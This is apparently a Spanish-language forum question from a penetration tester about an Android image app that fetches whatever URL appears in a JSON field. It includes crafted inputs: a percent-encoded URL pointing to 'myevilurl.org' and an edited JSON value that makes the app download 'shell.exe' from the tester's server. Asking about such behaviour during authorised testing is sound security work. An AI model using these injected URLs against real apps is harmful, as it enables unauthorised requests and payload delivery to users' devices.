Estoy ocupado con un pentest y encontré algo que me hizo preguntarme si sería explotable. Actualmente no soy capaz de explotarlo, pero quería asegurarme. También tengo curiosidad de por qué la aplicación / servidor se comporta como lo hace.
Esta es la funcionalidad:
- La aplicación te permite subir imágenes a la nube y devolver una URL donde se encuentra la imagen
- La aplicación luego envía la URL de retorno al servidor donde está almacenada para que otras personas encuentren las imágenes a través de la URL
- En función de algunas partes de la URL, los usuarios obtienen otra URL diferente en un documento JSON con todas las imágenes:
se convierte en:
{"URL":"https://res.cloud.com/app/image/param1,param2,param3/something/picture1.jpg"}
- Ese documento JSON se usa para crear solicitudes GET a la URL exacta (la segunda)
Esta es la "vulnerabilidad":
-
Cambiando la URL a lo siguiente:
http%73://myevilurl.org/pic1.jpg?https://res.cloud.com/app/image/something/picture1.jpg
-
el usuario recupera algo en el documento JSON en la forma de:
{"URL":"http%73://myevilurl.org/pic1.jpg?https://res/cloud.com/app/image/something/picture1.jpg"}
-
Lo cual esperaría que la aplicación solo intente GET, pero la aplicación de alguna manera hace una solicitud GET para:
https://RootServerOfApplication.com/NameOfApplication/^^The URL above with https instead of http%73^^
Como esta es una prueba en curso, no puedo entrar en grandes detalles (¡confidencialidad y todo!). Así que espero que esto proporcione suficiente información.
EDITAR: Lo que no mencioné anteriormente es que cuando manipulo el JSON entrante y simplemente coloco cualquier URL con HTTPS en la cadena JSON, la aplicación intenta OBTENER esa URL precisa. Así que cambio el JSON a algo como esto:
{"URL" : "https://myevilurl.org/shell.exe"}
La aplicación realmente intenta obtener shell.exe desde mi servidor. Esto no funciona cuando lo intento con% 73 en lugar de una s.
Edit2: Lo que tampoco mencioné es que se trata de una aplicación para Android.